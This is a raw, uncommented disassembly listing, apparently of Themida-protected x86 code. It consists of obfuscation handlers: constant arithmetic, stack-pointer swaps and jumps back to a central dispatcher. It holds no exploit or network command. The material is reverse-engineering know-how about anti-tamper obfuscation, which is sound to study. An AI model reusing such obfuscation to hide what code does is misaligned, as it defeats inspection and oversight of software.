xor ebp, 3AA2514Ch
shl ebp, 5
push edx
mov edx, 0AF2A0204h
xor ebp, edx
pop edx
jmp loc_585BD8
; ---------------------------------------------------------------------------
loc_5899AF: ; CODE XREF: Themida_:00589F7Aj
push 46F3h
mov [esp], ecx
jmp loc_58CF1A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_582885
; ---------------------------------------------------------------------------
loc_5899D0: ; CODE XREF: Themida_:005835A0j
sub esi, eax
pop eax
sub esi, 7691ECA0h
add ebx, esi
pop esi
add eax, 25DF77D7h
push ecx
mov ecx, 6717FF8h
sub eax, ecx
pop ecx
add eax, ebx
add eax, 6717FF8h
jmp loc_586E08
; ---------------------------------------------------------------------------
loc_5899F6: ; CODE XREF: Themida_:0058885Cj
inc edx
inc edx
sub edx, 0E5C2140Ch
mov ebx, edx
pop edx
shr ebx, 3
add ebx, 29317807h
jmp loc_58A499
; ---------------------------------------------------------------------------
loc_589A0F: ; CODE XREF: Themida_:0058C328j
mov [esp], ebx
pop ebp
jmp loc_58B3E2
; ---------------------------------------------------------------------------
loc_589A18: ; CODE XREF: Themida_:00585A99j
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_58D8C9
; ---------------------------------------------------------------------------
loc_589A23: ; CODE XREF: Themida_:00589DCBj
push dword ptr [esp+4]
jmp loc_582ED1
; ---------------------------------------------------------------------------
loc_589A2C: ; CODE XREF: Themida_:0058B6A7j
add eax, 2
xchg eax, [esp]
pop esp
test cl, al
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_589A3B: ; CODE XREF: Themida_:00589115j
sub [esp+4], ebp
mov ebp, [esp]
add esp, 4
pop eax
jmp loc_587A85
; ---------------------------------------------------------------------------
loc_589A4E: ; CODE XREF: Themida_:00589289j
xchg eax, edx
xchg eax, ebx
not ebx
xchg eax, ebx
xchg eax, edx
push ecx
push edx
pop ecx
mov edx, [esp]
add esp, 4
xor ecx, 0C7C5EB41h
sub edi, 235A4D46h
sub edi, ecx
add edi, 235A4D46h
mov ecx, [esp]
add esp, 4
retn
; ---------------------------------------------------------------------------
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_589A80: ; CODE XREF: Themida_:00586E60j
push edi
mov edi, 4
add ecx, edi
pop edi
add ecx, 4
xor ecx, [esp]
jmp loc_582084
; ---------------------------------------------------------------------------
loc_589A94: ; CODE XREF: Themida_:0058C068j
sub esp, 4
mov [esp], ecx
mov ecx, 88C39DAh
jmp loc_588159
; ---------------------------------------------------------------------------
loc_589AA4: ; CODE XREF: Themida_:00588634j
xchg edx, [esp]
pop esp
sar word ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_589AB2: ; CODE XREF: Themida_:0058619Dj
sub ebx, edi
jmp loc_5895DB
; ---------------------------------------------------------------------------
loc_589AB9: ; CODE XREF: Themida_:0058B17Fj
mov ebp, [esp]
add esp, 4
jmp loc_5863ED
; ---------------------------------------------------------------------------
loc_589AC4: ; CODE XREF: Themida_:005848B4j
mov dh, 66h
push ecx
mov cl, 0ADh
jmp loc_58C32D
; ---------------------------------------------------------------------------
loc_589ACE: ; CODE XREF: Themida_:0058653Ej
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push edi
jmp loc_588C50
; ---------------------------------------------------------------------------
loc_589AE2: ; CODE XREF: Themida_:0058B9BDj
pop esi
xor eax, 5E761A39h
or eax, 20351D6Ah
sub eax, 31771F7Ah
add ecx, 5659670Dh
add ecx, eax
sub ecx, 5659670Dh
pop eax
push esi
mov esi, 4
sub esp, 4
mov [esp], esi
mov esi, 473E2CE5h
and esi, 426167EFh
xor esi, 4EC807BDh
xor esi, 3A1D79FBh
sub ecx, esi
jmp loc_586DCC
; ---------------------------------------------------------------------------
loc_589B2B: ; CODE XREF: Themida_:00589DE1j
push esi
mov esi, 0DED4D47h
sub dword ptr [esp+8], 303C56FDh
add [esp+8], esi
sub esp, 4
jmp loc_5890A5
; ---------------------------------------------------------------------------
loc_589B45: ; CODE XREF: Themida_:00584E9Aj
sub ecx, 738A7B50h
pop ebp
xchg ecx, [esp]
pop esp
push edi
push ecx
mov ecx, 6CCE6552h
xor ecx, 6CCE6556h
mov edi, ecx
jmp loc_58216A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_589B64: ; CODE XREF: sub_5F0C13-6EC9Dj
add esp, 4
jmp loc_585C39
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_589B6F: ; CODE XREF: Themida_:0058AB7Aj
add esi, edx
pop edx
xchg esi, [esp]
pop esp
jmp loc_581B6C
; ---------------------------------------------------------------------------
loc_589B7B: ; CODE XREF: Themida_:0058620Dj
mov dl, 95h
add dl, 0B5h
sub dl, ch
push ecx
mov ch, 37h
neg ch
dec ch
jmp loc_583C78
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push edi
push esp
pop edi
jmp loc_58ACD4
; ---------------------------------------------------------------------------
loc_589B9A: ; CODE XREF: Themida_:00583AC4j
mov esp, [esp]
mov [esp], edi
push esp
jmp loc_5853D3
; ---------------------------------------------------------------------------
lodsd
push ecx
jmp loc_58830F
; ---------------------------------------------------------------------------
loc_589BAD: ; CODE XREF: Themida_:00588DBDj
add edi, edx
jmp loc_587683
; ---------------------------------------------------------------------------
loc_589BB4: ; CODE XREF: Themida_:00588723j
add ebp, 1F7EE90Eh
sub ebp, 12F1715Eh
xor ebp, 43B54548h
add ebp, 2C5672C7h
inc ebp
jmp loc_58AAC2
; ---------------------------------------------------------------------------
loc_589BD2: ; CODE XREF: Themida_:00588A04j
push ebp
mov ebp, 7FE1321Ch
xor ebp, 304559C7h
add ebp, 0D2BCFD99h
xor eax, ebp
jmp loc_58370E
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4C8Bh
mov [esp], ecx
push esp
push dword ptr [esp]
jmp loc_586FC6
; ---------------------------------------------------------------------------
loc_589C00: ; CODE XREF: Themida_:0058C342j
or esi, eax
pop eax
push ebx
mov ebx, 0A47A103Ah
sub esi, 7A4E7EAFh
sub esi, ebx
jmp loc_582264
; ---------------------------------------------------------------------------
loc_589C16: ; CODE XREF: Themida_:005877D0j
push ecx
mov ecx, 595E45E1h
xor [esp+4], ecx
mov ecx, [esp]
add esp, 4
mov edi, [esp]
jmp loc_583F83
; ---------------------------------------------------------------------------
loc_589C31: ; CODE XREF: Themida_:00584143j
pop eax
push 0C21h
mov [esp], ebx
mov ebx, 7F8B73A1h
jmp loc_5861D7
; ---------------------------------------------------------------------------
loc_589C44: ; CODE XREF: Themida_:005855ACj
mov esi, esp
add esi, 4
jmp loc_584658
; ---------------------------------------------------------------------------
loc_589C51: ; CODE XREF: Themida_:00584C07j
sub esp, 4
push esp
jmp loc_58B6E6
; ---------------------------------------------------------------------------
loc_589C5A: ; CODE XREF: Themida_:00586E56j
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_58731F
; ---------------------------------------------------------------------------
loc_589C69: ; CODE XREF: Themida_:00583194j
add esp, 4
add bl, al
push eax
push ecx
jmp loc_582D68
; ---------------------------------------------------------------------------
loc_589C78: ; CODE XREF: Themida_:0058AEFAj
mov [esp], esi
not dword ptr [esp]
jmp loc_58D299
; ---------------------------------------------------------------------------
loc_589C83: ; CODE XREF: Themida_:005827D4j
pop bx
jmp loc_5878AF
; ---------------------------------------------------------------------------
loc_589C8A: ; CODE XREF: Themida_:0058AAA7j
xchg ecx, [esp]
pop esp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push 381Fh
mov [esp], ebx
mov ebx, 104E4BBDh
dec ebx
push ecx
mov ecx, 30010B17h
sub ebx, 0F7621CEh
sub ebx, ecx
add ebx, 0F7621CEh
pop ecx
jmp loc_581B3F
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5861A2
; ---------------------------------------------------------------------------
loc_589CD2: ; CODE XREF: Themida_:0058CEADj
push edi
mov edi, 1CCE0E45h
dec edi
jmp loc_585E12
; ---------------------------------------------------------------------------
loc_589CDE: ; CODE XREF: Themida_:0058CA8Ej
sub eax, 22D90686h
jmp loc_587A38
; ---------------------------------------------------------------------------
loc_589CE8: ; CODE XREF: Themida_:0058D77Cj
pop esp
push dword ptr [esp]
pop eax
push edx
mov edx, esp
push ecx
mov ecx, 18364498h
push esi
jmp loc_585FD1
; ---------------------------------------------------------------------------
loc_589CFC: ; CODE XREF: Themida_:005846CFj
add esp, 4
add esi, 4
sub esp, 4
mov [esp], ebp
jmp loc_584571
; ---------------------------------------------------------------------------
loc_589D13: ; CODE XREF: Themida_:005852F9j
mov ebx, [esp]
jmp loc_586923
; ---------------------------------------------------------------------------
loc_589D1B: ; CODE XREF: Themida_:00589FEAj
mov ecx, 257D390Fh
jmp loc_584BEC
; ---------------------------------------------------------------------------
loc_589D25: ; CODE XREF: Themida_:005847D9j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_589D2A: ; CODE XREF: Themida_:0058ADD9j
mov cx, [esp]
push ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
jmp loc_584BCB
; ---------------------------------------------------------------------------
loc_589D44: ; CODE XREF: Themida_:00581FABj
mov edi, [esp]
push 4783h
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_58C8F7
; ---------------------------------------------------------------------------
loc_589D6B: ; CODE XREF: Themida_:0058779Dj
and eax, ebp
jmp loc_589EC3
; ---------------------------------------------------------------------------
loc_589D72: ; CODE XREF: Themida_:00586B06j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_589D77: ; CODE XREF: Themida_:0058D7CBj
mov [esp], ebx
mov ebx, 4DF55D54h
add ebp, 55F44A50h
sub ebp, ebx
jmp loc_58AA52
; ---------------------------------------------------------------------------
loc_589D8C: ; CODE XREF: Themida_:00583DF3j
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], eax
pop dword ptr [edi+40h]
push dword ptr [esp]
mov eax, [esp]
push edi
mov edi, esp
sub esp, 4
mov [esp], ebp
push esi
mov esi, 463B39A3h
mov ebp, 5FD68C2Ah
jmp loc_58386F
; ---------------------------------------------------------------------------
loc_589DC0: ; CODE XREF: Themida_:0058B819j
pop esi
add esi, 4
sub esi, 4
push esi
jmp loc_589A23
; ---------------------------------------------------------------------------
loc_589DD0: ; CODE XREF: Themida_:00586582j
pop ecx
add edx, 1
push edi
push ebx
jmp loc_58D4B6
; ---------------------------------------------------------------------------
loc_589DDB: ; CODE XREF: Themida_:0058D8C4j
xor eax, 0EB02A87h
pop ecx
jmp loc_589B2B
; ---------------------------------------------------------------------------
loc_589DE6: ; CODE XREF: Themida_:005848CAj
sub edi, 1F0272A2h
sub edi, 481B4087h
and edi, 34FB2285h
push eax
mov eax, 4802281h
sub edi, eax
pop eax
jmp loc_5868B7
; ---------------------------------------------------------------------------
loc_589E06: ; CODE XREF: Themida_:0058D46Bj
inc ecx
dec ecx
push edi
jmp loc_586740
; ---------------------------------------------------------------------------
loc_589E0E: ; CODE XREF: Themida_:0058D698j
push eax
mov eax, esp
jmp loc_588324
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], eax
push esp
jmp loc_58A9A5
; ---------------------------------------------------------------------------
loc_589E3C: ; CODE XREF: Themida_:005878E1j
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
add esi, 4
jmp loc_58578F
; ---------------------------------------------------------------------------
loc_589E54: ; CODE XREF: Themida_:0058D810j
push edi
mov edi, 75BC3874h
and edi, 36805548h
xor edi, 0ADC6DC5h
not edi
jmp loc_58CBAC
; ---------------------------------------------------------------------------
loc_589E6D: ; CODE XREF: Themida_:005865D3j
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [eax]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_589E7A: ; CODE XREF: Themida_:00588AFBj
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
push ebx
jmp loc_5828F6
; ---------------------------------------------------------------------------
loc_589E8E: ; CODE XREF: Themida_:0058BD0Dj
xor edi, 0EC348546h
sub eax, edi
mov edi, [esp]
push edx
jmp loc_584677
; ---------------------------------------------------------------------------
loc_589E9F: ; CODE XREF: Themida_:00585D6Aj
sub al, 72h
add al, dl
jmp loc_582406
; ---------------------------------------------------------------------------
loc_589EA8: ; CODE XREF: Themida_:005832CCj
add bh, 16h
sub bh, dh
sub bh, 16h
jmp loc_58B164
; ---------------------------------------------------------------------------
loc_589EB5: ; CODE XREF: Themida_:00583596j
push 0
sub [esp], ecx
pop ecx
jmp loc_588BEE
; ---------------------------------------------------------------------------
loc_589EC3: ; CODE XREF: Themida_:00589D6Dj
mov ebp, [esp]
push 3AFBh
mov [esp], ecx
push esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_58CA2E
; ---------------------------------------------------------------------------
loc_589EDE: ; CODE XREF: Themida_:0058356Aj
neg edx
add edx, 35D3C63h
jmp loc_584BAB
; ---------------------------------------------------------------------------
loc_589EEB: ; CODE XREF: Themida_:00581C25j
push 0DE0h
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
jmp loc_583767
; ---------------------------------------------------------------------------
loc_589F16: ; CODE XREF: Themida_:0058B1B7j
add ecx, ebp
pop ebp
xchg ecx, [esp]
pop esp
push edx
mov dl, bh
push ecx
push 78Bh
mov [esp], eax
mov ah, dl
jmp loc_58B954
; ---------------------------------------------------------------------------
loc_589F30: ; CODE XREF: Themida_:00588007j
push 4D10h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push esi
mov esi, 46126764h
add esi, 0B9ED98A0h
jmp loc_584910
; ---------------------------------------------------------------------------
loc_589F4E: ; CODE XREF: Themida_:00582B8Bj
pop esp
push 1ADCh
mov [esp], ecx
mov ecx, esp
push 7488h
mov [esp], eax
jmp loc_584ECC
; ---------------------------------------------------------------------------
loc_589F66: ; CODE XREF: Themida_:00587119j
add edi, 2F16FF2h
xor edi, 5BFAC65Fh
jmp loc_5836D3
; ---------------------------------------------------------------------------
loc_589F77: ; CODE XREF: Themida_:0058B99Ej
mov esp, [esp]
jmp loc_5899AF
; ---------------------------------------------------------------------------
loc_589F7F: ; CODE XREF: Themida_:00584852j
add esp, 4
add esp, 4
push edx
jmp loc_586437
; ---------------------------------------------------------------------------
loc_589F91: ; CODE XREF: Themida_:005846F8j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_58617D
; ---------------------------------------------------------------------------
loc_589F9F: ; CODE XREF: Themida_:00584A75j
push esi
mov esi, 11C215ADh
jmp loc_582D7F
; ---------------------------------------------------------------------------
loc_589FAA: ; CODE XREF: Themida_:0058355Ej
mov bl, 8Dh
jmp loc_5874E1
; ---------------------------------------------------------------------------
loc_589FB1: ; CODE XREF: Themida_:005858B6j
add esp, 4
xor eax, ecx
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_58CFB9
; ---------------------------------------------------------------------------
loc_589FCB: ; CODE XREF: Themida_:0058BBFDj
push ebp
jmp loc_58BE3F
; ---------------------------------------------------------------------------
loc_589FD1: ; CODE XREF: Themida_:0058C101j
mov ecx, 48CA27D4h
inc ecx
and ecx, 39D02C5Fh
jmp loc_5827EE
; ---------------------------------------------------------------------------
loc_589FE2: ; CODE XREF: Themida_:00588D1Fj
sub ebx, eax
sub esp, 4
mov [esp], ecx
jmp loc_589D1B
; ---------------------------------------------------------------------------
loc_589FEF: ; CODE XREF: Themida_:00585B4Ej
mov cl, dl
jmp loc_584B25
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_583C4D
; ---------------------------------------------------------------------------
loc_58A015: ; CODE XREF: Themida_:00588BE9j
mov [esp], eax
mov eax, 4
mov esi, eax
pop eax
add ebp, esi
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_58BED0
; ---------------------------------------------------------------------------
loc_58A033: ; CODE XREF: Themida_:0058D0FCj
add esp, 4
push esi
push esp
pop esi
add esi, 4
push edi
mov edi, 4
add esi, edi
pop edi
jmp loc_58B5AD
; ---------------------------------------------------------------------------
loc_58A050: ; CODE XREF: Themida_:00585C71j
add cl, 92h
add al, 23h
sub al, 48h
sub al, cl
add al, 48h
jmp loc_586BDB
; ---------------------------------------------------------------------------
loc_58A060: ; CODE XREF: Themida_:0058CD00j
mov esi, 49714625h
add [esp+4], esi
jmp loc_585308
; ---------------------------------------------------------------------------
loc_58A06E: ; CODE XREF: Themida_:0058AE3Cj
mov eax, esi
pop esi
push dword ptr [esp]
jmp loc_586E4C
; ---------------------------------------------------------------------------
loc_58A079: ; CODE XREF: Themida_:00584157j
add eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
xchg eax, [esp]
mov esp, [esp]
ror word ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58A095: ; CODE XREF: Themida_:0058BEFCj
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_582A01
; ---------------------------------------------------------------------------
loc_58A0A7: ; CODE XREF: Themida_:00586216j
xor eax, edx
push dword ptr [esp]
jmp loc_585A84
; ---------------------------------------------------------------------------
loc_58A0B1: ; CODE XREF: Themida_:0058D5C0j
mov ecx, 4
add edx, 667725F2h
add edx, 4A3A0D4Dh
jmp loc_58740C
; ---------------------------------------------------------------------------
loc_58A0C7: ; CODE XREF: Themida_:0058D92Ej
mov ecx, 40E9562Bh
add ecx, 2330DD11h
sub ebx, ecx
pop ecx
add ebx, ebp
add ebx, 641A333Ch
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5894E8
; ---------------------------------------------------------------------------
loc_58A0EE: ; CODE XREF: Themida_:0058C578j
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_586D2C
; ---------------------------------------------------------------------------
loc_58A0FD: ; CODE XREF: Themida_:005857C8j
sub ecx, 36F18F57h
mov eax, ecx
pop ecx
add eax, 0A91E9F6Fh
add ebx, eax
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 70EF4B92h
sub ebp, 7BC63940h
xor ebp, 0F5291250h
add ebx, ebp
pop ebp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
sar byte ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58A13E: ; CODE XREF: Themida_:0058C969j
mov eax, [esp]
jmp loc_585971
; ---------------------------------------------------------------------------
loc_58A146: ; CODE XREF: Themida_:0058D847j
push ecx
mov ecx, 3A19287Ch
sub ebx, ecx
pop ecx
jmp loc_58D0E4
; ---------------------------------------------------------------------------
loc_58A154: ; CODE XREF: Themida_:00582DD8j
push edx
mov edx, 4
add ebp, edx
jmp loc_586E25
; ---------------------------------------------------------------------------
loc_58A161: ; CODE XREF: Themida_:00585283j
sub edx, 4C5A1BB4h
jmp loc_588D8B
; ---------------------------------------------------------------------------
loc_58A16C: ; CODE XREF: Themida_:00587957j
mov esi, [esp]
add esp, 4
add esp, 4
jmp loc_582CD4
; ---------------------------------------------------------------------------
loc_58A17D: ; CODE XREF: Themida_:00586335j
or eax, eax
jz loc_58485E
push dword ptr [edi+1Ch]
jmp loc_58BF1C
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], edx
push 7D06703Eh
push dword ptr [esp]
pop edx
add esp, 4
push edi
jmp loc_5820F0
; ---------------------------------------------------------------------------
loc_58A1A5: ; CODE XREF: Themida_:0058691Ej
push ebx
jmp loc_58DBDA
; ---------------------------------------------------------------------------
loc_58A1AB: ; CODE XREF: Themida_:00582830j
xchg ebp, edx
dec ebp
xor edx, ebp
jmp loc_58DF35
; ---------------------------------------------------------------------------
loc_58A1B5: ; CODE XREF: Themida_:00588AF0j
or eax, eax
jz loc_58DC7D
push 1AA6h
mov [esp], ecx
sub esp, 4
mov [esp], edi
mov edi, 0FEh
push edi
jmp loc_58A92F
; ---------------------------------------------------------------------------
loc_58A1D6: ; CODE XREF: Themida_:0058BC84j
push 64B8h
mov [esp], esi
mov esi, 962DA31Ah
sub edx, 71071F0Bh
sub edx, esi
add edx, 71071F0Bh
mov esi, [esp]
add esp, 4
add ebx, edx
push dword ptr [esp]
jmp loc_58D94A
; ---------------------------------------------------------------------------
loc_58A204: ; CODE XREF: Themida_:00588F63j
push 7B16h
mov [esp], edi
mov edi, 4
push edi
mov edi, 352F7DA2h
dec edi
jmp loc_582A42
; ---------------------------------------------------------------------------
loc_58A21D: ; CODE XREF: Themida_:00583E4Ej
pop edi
push 1A73h
mov [esp], ecx
mov ecx, 17C10A7h
add ecx, 0FE83EF5Bh
push 1EA0h
mov [esp], esi
mov esi, 5268257Ch
sub ebp, esi
pop esi
add ebp, ecx
add ebp, 5268257Ch
pop ecx
xor ebp, [esp]
jmp loc_583B43
; ---------------------------------------------------------------------------
loc_58A252: ; CODE XREF: Themida_:00586849j
push esp
jmp loc_58DBB4
; ---------------------------------------------------------------------------
loc_58A258: ; CODE XREF: Themida_:00584ED6j
add ecx, eax
pop eax
push 81Eh
mov [esp], edx
mov edx, 4
sub ecx, edx
mov edx, [esp]
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
jmp loc_584F43
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_58D873
; ---------------------------------------------------------------------------
loc_58A28C: ; CODE XREF: Themida_:0058B7D7j
mov [esp], edx
mov edx, esp
add edx, 4
push edi
mov edi, esp
add edi, 4
jmp loc_586C63
; ---------------------------------------------------------------------------
loc_58A2A5: ; CODE XREF: Themida_:0058DDC8j
add esp, 4
and eax, ebp
pop ebp
jmp loc_58CA81
; ---------------------------------------------------------------------------
loc_58A2B0: ; CODE XREF: Themida_:005859CCj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebx
push 29643FB9h
mov ebx, [esp]
add esp, 4
push 464Dh
mov [esp], ebx
not dword ptr [esp]
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5833C3
; ---------------------------------------------------------------------------
loc_58A2FB: ; CODE XREF: Themida_:00588F0Bj
add ebp, 78EC4674h
add ebp, eax
sub ebp, 78EC4674h
pop eax
sub ebp, 111E6944h
sub ebp, 499158F3h
add ebp, 29360666h
add ebp, 3E107CB0h
xor edx, ebp
pop ebp
or ecx, ecx
jz loc_58B639
push esp
push dword ptr [esp]
jmp loc_588E52
; ---------------------------------------------------------------------------
loc_58A336: ; CODE XREF: Themida_:00586CF0j
add ebx, 0F5F81443h
mov eax, ebx
pop ebx
jmp loc_58CC51
; ---------------------------------------------------------------------------
loc_58A344: ; CODE XREF: Themida_:005869E7j
xchg edi, [esp]
mov esp, [esp]
push edi
mov edi, esp
jmp loc_586B61
; ---------------------------------------------------------------------------
loc_58A352: ; CODE XREF: Themida_:0058A998j
add eax, ecx
jmp loc_5825E2
; ---------------------------------------------------------------------------
loc_58A359: ; CODE XREF: Themida_:005836C7j
pop edi
jmp loc_58BC1E
; ---------------------------------------------------------------------------
loc_58A35F: ; CODE XREF: Themida_:00589719j
and esi, 47E1522Bh
neg esi
jmp loc_584994
; ---------------------------------------------------------------------------
loc_58A36C: ; CODE XREF: Themida_:0058368Dj
mov ebp, 5C1953D4h
add ebp, 23F56E3Fh
jmp loc_5893F0
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6EA2h
mov [esp], eax
push esp
pop eax
push edx
jmp loc_587A9E
; ---------------------------------------------------------------------------
loc_58A390: ; CODE XREF: Themida_:00589358j
add esp, 4
add ebp, 4
push ecx
mov ecx, 23DB11B7h
shr ecx, 3
add ecx, 0FFFFFFFFh
and ecx, 6D1D397Ch
xor ecx, 75275AE2h
neg ecx
jmp loc_5873BB
; ---------------------------------------------------------------------------
loc_58A3B8: ; CODE XREF: Themida_:0058B9D9j
add eax, 534F0780h
xor eax, 17205982h
sub eax, 98BC44A0h
mov esi, eax
pop eax
add ebx, esi
pop esi
push edi
mov edi, 2
jmp loc_58DBAD
; ---------------------------------------------------------------------------
loc_58A3D8: ; CODE XREF: Themida_:005838DDj
add esp, 4
push ebp
mov ebp, 4
jmp loc_587CD2
; ---------------------------------------------------------------------------
loc_58A3E6: ; CODE XREF: Themida_:005890C8j
pop dword ptr [edi+24h]
loc_58A3E9: ; CODE XREF: Themida_:00581A19j
push eax
jmp loc_582A90
; ---------------------------------------------------------------------------
loc_58A3EF: ; CODE XREF: Themida_:0058325Fj
add ebp, ecx
mov ecx, [esp]
jmp loc_58755E
; ---------------------------------------------------------------------------
loc_58A3F9: ; CODE XREF: Themida_:0058BBC0j
pop edx
add esp, 4
add esp, 4
add esp, 4
jmp loc_58BF68
; ---------------------------------------------------------------------------
loc_58A408: ; CODE XREF: Themida_:00584E26j
add esp, 4
xchg eax, [esp]
pop esp
push dword ptr [esp]
jmp loc_581C13
; ---------------------------------------------------------------------------
loc_58A417: ; CODE XREF: Themida_:0058AFFCj
mov ecx, esp
push ebp
push ecx
jmp loc_5838F3
; ---------------------------------------------------------------------------
loc_58A420: ; CODE XREF: Themida_:0058D3FFj
pop ecx
add al, 0A8h
push edx
push ecx
mov ch, 6Bh
jmp loc_583C6B
; ---------------------------------------------------------------------------
loc_58A42C: ; CODE XREF: Themida_:00581C3Bj
mov ebp, [esp]
jmp loc_5859D1
; ---------------------------------------------------------------------------
lodsd
push ebp
jmp loc_586DD4
; ---------------------------------------------------------------------------
loc_58A43B: ; CODE XREF: Themida_:005835EEj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_58C7D5
; ---------------------------------------------------------------------------
loc_58A452: ; CODE XREF: Themida_:005844D4j
push dword ptr [esp]
mov eax, [esp]
jmp loc_58C3E7
; ---------------------------------------------------------------------------
loc_58A45D: ; CODE XREF: Themida_:005851DFj
sub cl, 89h
add bl, cl
pop ecx
add bl, 0Ah
add bl, al
push cx
jmp loc_58C207
; ---------------------------------------------------------------------------
loc_58A46F: ; CODE XREF: Themida_:00589026j
mov ch, 31h
sub ch, 23h
shl ch, 8
jmp loc_58A6E0
; ---------------------------------------------------------------------------
loc_58A47C: ; CODE XREF: Themida_:0058B010j
mov ebx, ebp
pop ebp
pop esi
sub eax, ebx
mov ebx, [esp]
add esp, 4
push 264Ah
jmp loc_5857CD
; ---------------------------------------------------------------------------
loc_58A492: ; CODE XREF: Themida_:0058CB85j
pop ebp
push esi
jmp loc_586126
; ---------------------------------------------------------------------------
loc_58A499: ; CODE XREF: Themida_:00589A0Aj
sub edx, ebx
pop ebx
pop eax
xor edx, [esp]
jmp loc_584294
; ---------------------------------------------------------------------------
loc_58A4A5: ; CODE XREF: Themida_:0058C6D8j
push 8BB2492h
push dword ptr [esp]
pop edx
jmp loc_58D933
; ---------------------------------------------------------------------------
loc_58A4B3: ; CODE XREF: Themida_:0058C7FAj
push ebp
mov ebp, 121A3A80h
sub ebp, 0AF65EAC5h
mov ecx, ebp
pop ebp
jmp loc_588954
; ---------------------------------------------------------------------------
loc_58A4C7: ; CODE XREF: Themida_:00584EBFj
mov [esp], cx
push edx
push ecx
mov ch, 0BBh
push ebx
jmp loc_5850C3
; ---------------------------------------------------------------------------
loc_58A4D5: ; CODE XREF: Themida_:00583360j
mov edi, [esp]
add esp, 4
push 2F3Bh
jmp loc_58C4CE
; ---------------------------------------------------------------------------
loc_58A4E5: ; CODE XREF: Themida_:005869DCj
mov dl, 78h
not dl
or dl, 0B5h
push bx
mov bl, 45h
sub dl, bl
pop bx
jmp loc_5883DA
; ---------------------------------------------------------------------------
loc_58A4F9: ; CODE XREF: Themida_:00587A90j
and eax, esi
push dword ptr [esp]
jmp loc_5870FE
; ---------------------------------------------------------------------------
loc_58A503: ; CODE XREF: Themida_:005875BDj
pop edx
add dword ptr [esp+4], 3F75722Eh
add dword ptr [esp+4], 2F7F510Fh
sub [esp+4], edx
sub dword ptr [esp+4], 2F7F510Fh
sub dword ptr [esp+4], 3F75722Eh
sub dword ptr [esp+4], 62513B5Bh
pop edx
push dword ptr [esp]
jmp loc_58552D
; ---------------------------------------------------------------------------
loc_58A539: ; CODE XREF: Themida_:0058DD2Fj
sub eax, esi
mov esi, [esp]
add esp, 4
sub eax, 57517151h
push ebx
push esi
push edx
push esi
jmp loc_58D404
; ---------------------------------------------------------------------------
loc_58A54F: ; CODE XREF: Themida_:00583E96j
push eax
mov eax, 0D426D55Bh
sub edx, eax
jmp loc_586779
; ---------------------------------------------------------------------------
loc_58A55C: ; CODE XREF: Themida_:0058C820j
xchg ebx, [esp]
pop esp
add esi, ebp
pop ebp
add esi, 2
jmp loc_584BD7
; ---------------------------------------------------------------------------
loc_58A56B: ; CODE XREF: Themida_:0058AD9Fj
inc edi
jmp loc_58CC72
; ---------------------------------------------------------------------------
loc_58A571: ; CODE XREF: Themida_:00584077j
push ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58A579: ; CODE XREF: Themida_:00585528j
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_5818C9
; ---------------------------------------------------------------------------
